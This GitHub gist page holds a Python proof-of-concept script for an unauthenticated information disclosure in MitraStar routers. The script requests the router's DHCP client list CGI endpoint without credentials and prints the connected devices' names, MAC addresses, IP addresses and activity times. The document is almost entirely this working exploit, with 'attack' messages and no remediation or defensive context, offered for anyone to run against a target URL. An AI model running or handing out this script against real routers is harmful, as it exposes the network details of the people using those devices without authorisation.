Skip to content

Instantly share code, notes, and snippets.

@000pp
Created September 24, 2024 02:54
Show Gist options
  • Save 000pp/ae42efa0c2c624c1093b969938eb7d3d to your computer and use it in GitHub Desktop.
Save 000pp/ae42efa0c2c624c1093b969938eb7d3d to your computer and use it in GitHub Desktop.
MitraStar Unauthenticated Information Disclosure
# Don't forget to install the required libraries:
# BeautifulSoup, rich and requests
from rich.console import Console
from bs4 import BeautifulSoup
console = Console()
from requests import get
from urllib3 import disable_warnings
disable_warnings()
import argparse
def attack(url) -> None:
""" Get target information through DHCP Client List file"""
dhcp_url = f"{url}/cgi-bin/dhcp_client_list.cgi"
response = get(dhcp_url, verify=False, timeout=200)
soup = BeautifulSoup(response.content, 'html.parser')
rows = soup.find_all('tr')
for row in rows:
columns = row.find_all('td')
if len(columns) == 4:
name = columns[0].text.strip()
mac_address = columns[1].text.strip()
ip_address = columns[2].text.strip()
activity_time = columns[3].text.strip()
console.print(f" * [green]Device Name:[/] {name} | [green]MAC Address:[/] {mac_address} | [green]IP:[/] {ip_address} | [green]Activity Time:[/] {activity_time}", highlight=False)
def initial_request(url) -> None:
""" Make sure the application is accessible"""
console.print(f"[yellow][!][/] Attacking {url}", highlight=False)
response = get(url, verify=False, timeout=200)
if (response.ok):
console.print(f"[yellow][!][/] [green]{response.status_code}[/] Target acessible, proceeding with the attack", highlight=False)
attack(url)
else:
console.print(f"[red][-][/] [red]{response.status_code}[/] Response not ok, please check your input", highlight=False)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Arguments to be used')
parser.add_argument('-u', help='Target URL', required=True)
args = parser.parse_args()
url = args.u
initial_request(url)
@000pp
Copy link
Author

000pp commented Sep 24, 2024

Output example:
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment